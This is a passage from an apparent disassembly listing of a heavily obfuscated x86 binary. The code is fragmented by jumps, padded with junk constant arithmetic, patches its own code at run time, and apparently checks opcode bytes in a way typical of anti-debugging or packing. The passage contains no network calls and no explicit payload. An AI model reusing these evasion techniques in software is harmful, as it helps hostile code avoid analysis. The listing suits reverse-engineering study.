xchg esi, [esp-4+arg_0] jmp loc_1001A75F sub_1001C4EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001C4F7: ; CODE XREF: sub_10016734+4A89j sub edx, 0DCA52839h add edx, 25C7FEA6h add edx, ebp add edx, 3DF15460h loc_1001C50B: ; CODE XREF: an.kk9rg:100161F6j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10015D5F ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001C516: ; CODE XREF: sub_10015D9E+7690j mov byte ptr [eax], 0C3h jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- call nullsub_11 jmp ds:dword_1000203C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test [edi+5AFFFFC6h], ch jmp loc_100176D5 ; =============== S U B R O U T I N E ======================================= sub_1001C535 proc near ; CODE XREF: sub_10019595-4F36p ; an.kk9rg:10014817j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013942 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001433F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001517A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100165A1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100169BB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10017437 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001903C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001978F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019E9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A174 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B730 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B8DC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B97D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C8EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001CFDA SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1001DA0E SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx cmp al, 0A4h jz loc_10014345 jmp loc_1001517A sub_1001C535 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001C546: ; CODE XREF: an.kk9rg:1001D771j cdq ; =============== S U B R O U T I N E ======================================= sub_1001C547 proc near ; CODE XREF: sub_10013688:loc_1001CD13p ; FUNCTION CHUNK AT 10014E3E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017504 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019004 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100197FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A2F9 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp dword ptr [ebp-10h], 0 jnz loc_10014E46 mov eax, [ebp+8] push eax jmp loc_10017504 sub_1001C547 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001C55E: ; CODE XREF: an.kk9rg:1001D633j add eax, [esp] adc edx, [esp+4] add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_1001904E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001C572: ; CODE XREF: sub_10013044:loc_1001C67Aj push offset loc_1001C852 jmp loc_1001C3ED ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFCCh lea eax, nullsub_12 mov byte ptr [eax], 0C3h mov [ebp-4], eax push edi jmp loc_100151B3 ; --------------------------------------------------------------------------- mov eax, 5A4FBBBh call sub_100181E1 mov ds:dword_10002038, eax lea eax, nullsub_154 mov byte ptr [eax], 0C3h jmp loc_1001CD4B ; --------------------------------------------------------------------------- pop edx jmp loc_100190A7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_1001C5B9: ; CODE XREF: sub_10018798-1075j jmp loc_10016635 ; END OF FUNCTION CHUNK FOR sub_10018798 ; --------------------------------------------------------------------------- loc_1001C5BE: ; CODE XREF: an.kk9rg:100132A4j ; an.kk9rg:1001C319j add ecx, 0A74C7C4Ch or ecx, 60FBABD1h add ecx, 1805DD31h xchg ecx, [esp] jmp nullsub_195 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B943 loc_1001C5D8: ; CODE XREF: sub_1001B943+3j push ecx cmp ds:dword_1001B728, 0 jnz loc_100183A6 call sub_10016B92 loc_1001C5EB: ; DATA XREF: sub_10019409+3ACAo mov eax, [eax] jmp loc_1001669F ; END OF FUNCTION CHUNK FOR sub_1001B943 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001C5F2: ; CODE XREF: sub_1001564A+60B3j ; sub_1001564A+60BCj ... xor ebx, ebx loc_1001C5F4: ; CODE XREF: sub_10019409+22E6j mov eax, ebx pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_1001C5F9: ; CODE XREF: an.kk9rg:1001713Dj jmp loc_1001897C ; --------------------------------------------------------------------------- jmp loc_100189E7 ; --------------------------------------------------------------------------- mov eax, [ebp-4] push esi mov esi, eax xchg esi, [esp] jmp loc_10019F38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001C611: ; CODE XREF: sub_1001504E+4F1Cj xchg edx, [eax] jmp loc_1001C0E3 ; END OF FUNCTION CHUNK FOR sub_1001504E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_1001C619 proc near ; CODE XREF: sub_10013389:loc_100151A3j ; sub_1001C6B0-6283p xchg esi, [esp+0] pop esi loc_1001C61D: ; CODE XREF: an.kk9rg:1001395Cj pop ecx pop ecx push offset loc_1001A629 jmp nullsub_106 sub_1001C619 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C629: ; CODE XREF: sub_10013389+62j and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_1001C7B0 mov eax, [ebp+8] jmp loc_1001717F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001C641: ; CODE XREF: an.kk9rg:loc_100198D9j ror ebp, 8 xor eax, 3B4246D9h test edx, ecx jmp loc_10014EAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001C651: ; CODE XREF: sub_1001C799+1053j jbe loc_1001AB99 mov ebp, [edx] or ecx, eax xor edx, esi loc_1001C65D: ; CODE XREF: sub_1001C799:loc_1001D7E0j call sub_100199B5 xor esi, ecx jmp loc_10018FE2 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001C669: ; CODE XREF: sub_10015E0D-2B35j test edi, 3ECA07Ch jmp loc_10013A00 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- locret_1001C674: ; CODE XREF: an.kk9rg:loc_10015B14j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001C675: ; CODE XREF: sub_10015B5D+79FCj jmp loc_10018420 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001C67A: ; CODE XREF: sub_10013044+4AA6j jmp loc_1001C572 ; END OF FUNCTION CHUNK FOR sub_10013044 ; =============== S U B R O U T I N E ======================================= sub_1001C67F proc near ; CODE XREF: an.kk9rg:10016AB4j ; sub_10018066+Cp ; FUNCTION CHUNK AT 100143D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100159BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016264 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 100162AD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001758D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001AE83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B11A SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov edx, [ebp-4] imul byte ptr [edx] jmp loc_1001758D sub_1001C67F endp ; sp-analysis failed ; --------------------------------------------------------------------------- pushf ja loc_10017283 jmp sub_1001CA76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C699: ; CODE XREF: sub_10013389+545Bj adc eax, esi not ebp loc_1001C69D: ; CODE XREF: sub_10014A76:loc_100149A4j mov eax, [ebp-4] movzx eax, word ptr [eax+6] push ebx jmp loc_1001D7AF ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001C6AA: ; CODE XREF: an.kk9rg:1001D63Bj sbb edx, 0B484FA9Dh ; =============== S U B R O U T I N E ======================================= sub_1001C6B0 proc near ; CODE XREF: sub_100136D7+68EDp ; FUNCTION CHUNK AT 10013FE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100143EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014556 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10014F4E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10016427 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100168EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001955E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019B26 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001A630 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001C489 SIZE 00000003 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_1001A630 mov eax, [ebp-4] loc_1001C6C3: ; CODE XREF: sub_10016C92+15j ; an.kk9rg:1001C713j cmp byte ptr [eax], 0E9h jmp loc_10014556 sub_1001C6B0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001C6CC: ; CODE XREF: sub_1001A97E-73D3j and edi, ds:100000CBh test edi, 8000h jmp loc_100158FA ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014317 loc_1001C6DD: ; CODE XREF: sub_10014317+71B0j push offset sub_1001B0EB jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_10014317 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001C6E7: ; CODE XREF: sub_1001893F+1Bj sub edx, 4E0C17DEh jnz loc_10017118 loc_1001C6F3: ; CODE XREF: sub_10018F28+10j jmp loc_10015A02 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001C6F8: ; CODE XREF: sub_1001A54C-24F6j jmp loc_1001B258 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- loc_1001C6FD: ; CODE XREF: an.kk9rg:100148F7j jmp locret_10015DFC ; --------------------------------------------------------------------------- xor ecx, 0D7B5A428h loc_1001C708: ; CODE XREF: an.kk9rg:1001693Fj adc esi, 0E30D7294h jmp loc_10017113 ; --------------------------------------------------------------------------- jnp loc_1001C6C3 jmp loc_10019859 ; --------------------------------------------------------------------------- push esi mov esi, eax xchg esi, [esp] ror eax, 10h jmp loc_10013B77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001C72C: ; CODE XREF: sub_1001A54C-6C10j jle loc_100165D1 loc_1001C732: ; CODE XREF: sub_1001A54C:loc_1001D27Cj push 0 push 0 push eax push 0A9A6A117h jmp loc_1001CA8B ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D8D9 loc_1001C741: ; CODE XREF: sub_1001D8D9:loc_10016664j call sub_10017F49 loc_1001C746: ; CODE XREF: an.kk9rg:1001A8BCj jmp loc_10018D2B ; END OF FUNCTION CHUNK FOR sub_1001D8D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001C74B: ; CODE XREF: sub_100136D7:loc_1001A91Cj xchg edx, eax adc eax, 0AE8B557Eh jmp loc_1001D91E ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= sub_1001C758 proc near ; DATA XREF: sub_1001534D-1B0Ao ; FUNCTION CHUNK AT 10019C29 SIZE 0000000B BYTES add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 loc_1001C76D: ; CODE XREF: sub_1001456F:loc_1001AE64j jmp loc_10019C29 sub_1001C758 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C772: ; CODE XREF: sub_10013389+3011j push ecx cmp edi, 0DCEB4D28h jmp loc_1001DC49 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001C77E proc near ; CODE XREF: an.kk9rg:loc_100168EFj ; sub_10015086+3003p ... arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov eax, [eax] add eax, [ebp-4] call sub_1001498A adc esi, eax jmp sub_10016532 sub_1001C77E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001C793: ; CODE XREF: an.kk9rg:1001D57Bj jg loc_10015DB8 ; =============== S U B R O U T I N E ======================================= sub_1001C799 proc near ; CODE XREF: sub_10016323-2CC6p ; FUNCTION CHUNK AT 10013086 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001389A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001483D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 10015EAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100185E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100189F6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018FE2 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10019B70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AB99 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001C651 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001D7E0 SIZE 00000011 BYTES xchg edx, [esp+0] pop edx push ebx push 9D1248A4h pop ebx jmp loc_10019B70 sub_1001C799 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_1001C7A9: ; CODE XREF: sub_1001A12F-3F68j mov eax, [ebp+8] or dword ptr [eax-8], 8 loc_1001C7B0: ; CODE XREF: sub_1001A12F:loc_100161B7j ; sub_1001A12F-3F6Ej ... jnb loc_100198F5 mov eax, [ebp+8] ; END OF FUNCTION CHUNK FOR sub_1001A12F ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001C7B9: ; CODE XREF: sub_10013389:loc_100165C3j cmp dword ptr [eax-1Ch], 0F6h jz loc_10016C09 jmp loc_1001DA37 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001C7CB: ; CODE XREF: sub_10013BB8-9E7j or eax, 1E9ED459h add eax, 0E59F26D7h add eax, ebp add eax, 1BA103A4h mov eax, [eax] mov byte ptr [ebp+eax-100h], 0 jmp loc_100169FF ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001C7EE: ; CODE XREF: sub_1001BB87:loc_100172B8j ; sub_1001BB87-3FBDj ... jmp loc_100164F6 ; --------------------------------------------------------------------------- loc_1001C7F3: ; CODE XREF: an.kk9rg:100130BCj ; sub_100152C7+Aj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- loc_1001C7F6: ; CODE XREF: an.kk9rg:100169ABj jmp loc_100198D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001C7FB: ; CODE XREF: sub_100193F2-194Fj imul byte ptr [edx] loc_1001C7FD: ; CODE XREF: sub_10017BF9:loc_10019A60j cmp al, 0A4h jnz loc_1001891A mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_1001891A jmp loc_1001CA86 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001C818: ; CODE XREF: sub_1001CF40+91Dj jz loc_10019216 jmp loc_10013662 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- xchg esi, [ecx] jmp sub_1001C830 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001C82B: ; CODE XREF: an.kk9rg:100189A6j jmp locret_1001955D ; =============== S U B R O U T I N E ======================================= sub_1001C830 proc near ; CODE XREF: sub_10013389+10Dp ; an.kk9rg:1001C825j xchg ebx, [esp+0] pop ebx mov eax, ds:dword_10019654 mov eax, [eax] mov ds:dword_10019664, eax xor eax, eax mov ds:dword_10019654, eax jmp loc_10013B95 sub_1001C830 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001C84C proc near ; CODE XREF: sub_1001DC8F+4j push ebp jmp loc_1001B06E sub_1001C84C endp ; --------------------------------------------------------------------------- loc_1001C852: ; DATA XREF: sub_10013044:loc_1001C572o cmp byte ptr [eax], 0F1h jnz loc_10016F65 ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001C85B: ; CODE XREF: sub_10015988:loc_10019C71j jmp loc_10019468 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001C860: ; CODE XREF: sub_10013061:loc_10013836j jz loc_10019C7A jmp loc_1001DEF5 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001C86B: ; CODE XREF: sub_100136D7+577Aj mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001AD3B jmp loc_10014909 ; --------------------------------------------------------------------------- loc_1001C87B: ; CODE XREF: sub_100136D7:loc_10017DB3j cmp al, 0A4h jz loc_1001D928 jmp loc_1001B92A ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_1001C888: ; CODE XREF: an.kk9rg:loc_10014F8Ej add ebx, 0D2548906h xchg ebx, [esp] jmp loc_1001DC30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001C896: ; CODE XREF: sub_10018E79:loc_1001A1B6j rol edx, 11h xor edx, 11526EAh loc_1001C89F: ; CODE XREF: sub_10015868+5j add edx, ebp push offset sub_1001A606 jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001C8AB: ; CODE XREF: sub_1001456F+3E65j jb loc_10014EEC or ebp, esi mov [esi], ebp mov eax, [esi] jmp loc_1001ADF8 ; END OF FUNCTION CHUNK FOR sub_1001456F ; =============== S U B R O U T I N E ======================================= sub_1001C8BC proc near ; DATA XREF: sub_1001D4C9+190o add dword ptr [ebp-8], 4 jmp loc_1001D4D6 sub_1001C8BC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001C8C5: ; CODE XREF: sub_1001D4C9:loc_1001D653j add dword ptr [ebp-8], 2 jmp loc_10015900 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001C8CE proc near ; CODE XREF: sub_10015995-C46p ; sub_1001555F+4p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016E86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018C28 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 10018EA4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10019B82 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001A921 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_10018EA4 sub_1001C8CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C8D9: ; CODE XREF: sub_10016167:loc_10019E04j xchg edx, [esp+0] jmp sub_100181E1 ; --------------------------------------------------------------------------- loc_1001C8E1: ; CODE XREF: sub_10016167-F39j adc edx, 8C96D76Dh cmp ebx, eax jmp loc_10014580 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001C8EE: ; CODE XREF: sub_1001C535-2694j rol ebp, 15h test ebx, ecx jmp loc_1001433F ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- shl ebx, 0Ah jmp sub_10019B0D ; --------------------------------------------------------------------------- loc_1001C900: ; DATA XREF: sub_100145ED+5917o mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_10015F16 jmp loc_1001861D ; --------------------------------------------------------------------------- loc_1001C911: ; CODE XREF: an.kk9rg:loc_100153D3j jnz loc_10015B97 jmp loc_1001CB7D ; --------------------------------------------------------------------------- loc_1001C91C: ; CODE XREF: an.kk9rg:loc_1001B11Fj call sub_1001B982 mov eax, 0C7CC2482h call sub_100181E1 push ecx push 4598843Ch pop ecx rol ecx, 18h xor ecx, 42E868D0h jmp loc_10014734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001536A loc_1001C940: ; CODE XREF: sub_1001536A+Cj push 7D62DD57h pop esi xor esi, 2BD9AEECh loc_1001C94C: ; CODE XREF: an.kk9rg:loc_1001421Dj add esi, 0B945EC2Bh popf jmp loc_1001C197 ; END OF FUNCTION CHUNK FOR sub_1001536A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A1E loc_1001C958: ; CODE XREF: sub_10018A1E:loc_1001DD46j mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh ; END OF FUNCTION CHUNK FOR sub_10018A1E ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_1001C986: ; CODE XREF: sub_1001BC80+13j jo loc_10017D5E mov eax, [ebp-104h] jmp loc_10018407 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001C997: ; CODE XREF: sub_100141F5:loc_1001587Cj mov [ebp+var_8], eax ; END OF FUNCTION CHUNK FOR sub_100141F5 ; START OF FUNCTION CHUNK FOR sub_10015945 loc_1001C99A: ; CODE XREF: sub_10015945+2778j jns loc_100130DA mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_100180B7 call sub_100130C7 loc_1001C9B1: ; CODE XREF: sub_10015B5D-1BAj jmp loc_1001AA2A ; END OF FUNCTION CHUNK FOR sub_10015945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001C9B6: ; CODE XREF: sub_1001ABFD-4AE2j push 45AA787Dh add ebp, 64B54B0Eh ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001C9C1: ; CODE XREF: sub_1001C2D8-6235j ; sub_1001CF40:loc_10017937j ... jmp loc_1001DC6B ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001C9C6: ; CODE XREF: sub_1001CF40+Fj ; sub_10017A58+5B82j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001C9C9: ; CODE XREF: sub_10013061+1ED9j jmp loc_1001CCED ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- push esi mov esi, ecx jmp loc_10019BCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001C9D6: ; CODE XREF: sub_10018AB1+3140j rol edx, 5 adc ebx, 0BA6371D6h jmp loc_100140FA ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C9E4: ; CODE XREF: sub_10016167:loc_100169FFj push 2010h push 0 lea eax, [ebp-100h] push eax push ebx jmp loc_1001B801 ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_1001C9F8 proc near ; DATA XREF: sub_10017EFB:loc_10019BF9o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100135CE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015F20 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A046 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001D055 SIZE 00000005 BYTES mov eax, [ebp-4] push edi loc_1001C9FC: ; CODE XREF: an.kk9rg:loc_100174CCj push 389EE359h pop edi add edi, 1A4C3DD9h rol edi, 18h sub edi, 2F493619h loc_1001CA11: ; CODE XREF: an.kk9rg:loc_1001A6CCj jmp loc_1001D055 sub_1001C9F8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2CC loc_1001CA16: ; CODE XREF: sub_1001B2CC-BACj ; an.kk9rg:1001D986j add eax, [esp+4+var_4] adc edx, [esp+4] call sub_100193F2 loc_1001CA22: ; CODE XREF: an.kk9rg:10014EA6j jmp loc_10016058 ; END OF FUNCTION CHUNK FOR sub_1001B2CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_1001CA28: ; CODE XREF: sub_10018B4A:loc_10017BF4j pop edi or edi, 783BF1FDh and edi, 0B73F2F3Ah or edi, 0C629A65Ch jmp loc_10017B49 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001CA40 proc near ; DATA XREF: sub_100140A5o ; FUNCTION CHUNK AT 10017883 SIZE 0000001B BYTES push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp call sub_10019269 loc_1001CA4D: ; CODE XREF: sub_1001677A+1032j jmp loc_10017883 sub_1001CA40 endp ; --------------------------------------------------------------------------- xchg ecx, [eax] jmp loc_100137D5 ; --------------------------------------------------------------------------- locret_1001CA59: ; CODE XREF: an.kk9rg:loc_10014DC3j retn ; --------------------------------------------------------------------------- pop eax jmp sub_1001543A ; --------------------------------------------------------------------------- loc_1001CA60: ; CODE XREF: an.kk9rg:100145A8j ja loc_10014872 xor esi, 75D76AE9h shr esi, 0Ah test ebx, ebp jmp loc_1001B82E ; =============== S U B R O U T I N E ======================================= sub_1001CA76 proc near ; CODE XREF: sub_1001677A+500Bp ; an.kk9rg:1001C694j xchg ecx, [esp+0] pop ecx push 94BDB3B8h pop edx jmp loc_100134EB sub_1001CA76 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001CA86: ; CODE XREF: sub_100193F2+3421j jmp loc_10018915 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001CA8B: ; CODE XREF: sub_1001A54C+21F0j pop eax xor eax, 0E716F46Ch sub eax, 60EDDCEFh add eax, 123D8773h xchg eax, [esp+0] push 0 call sub_10015D9E push eax jmp loc_1001804F ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_1001CAAE: ; CODE XREF: sub_1001B45F+1C81j jno loc_10019B75 ja nullsub_140 jmp loc_1001DA87 ; END OF FUNCTION CHUNK FOR sub_1001B45F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001CABF: ; CODE XREF: sub_100189D7:loc_10017579j pushf xchg ebx, [eax] jmp loc_1001723D ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001CAC7: ; CODE XREF: sub_10018066+4D4j pop edi rol edi, 0Dh jnb loc_1001582D loc_1001CAD1: ; CODE XREF: sub_100150E1+617j jmp sub_100192D0 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- jnz loc_100137B8 jmp loc_10015827 ; 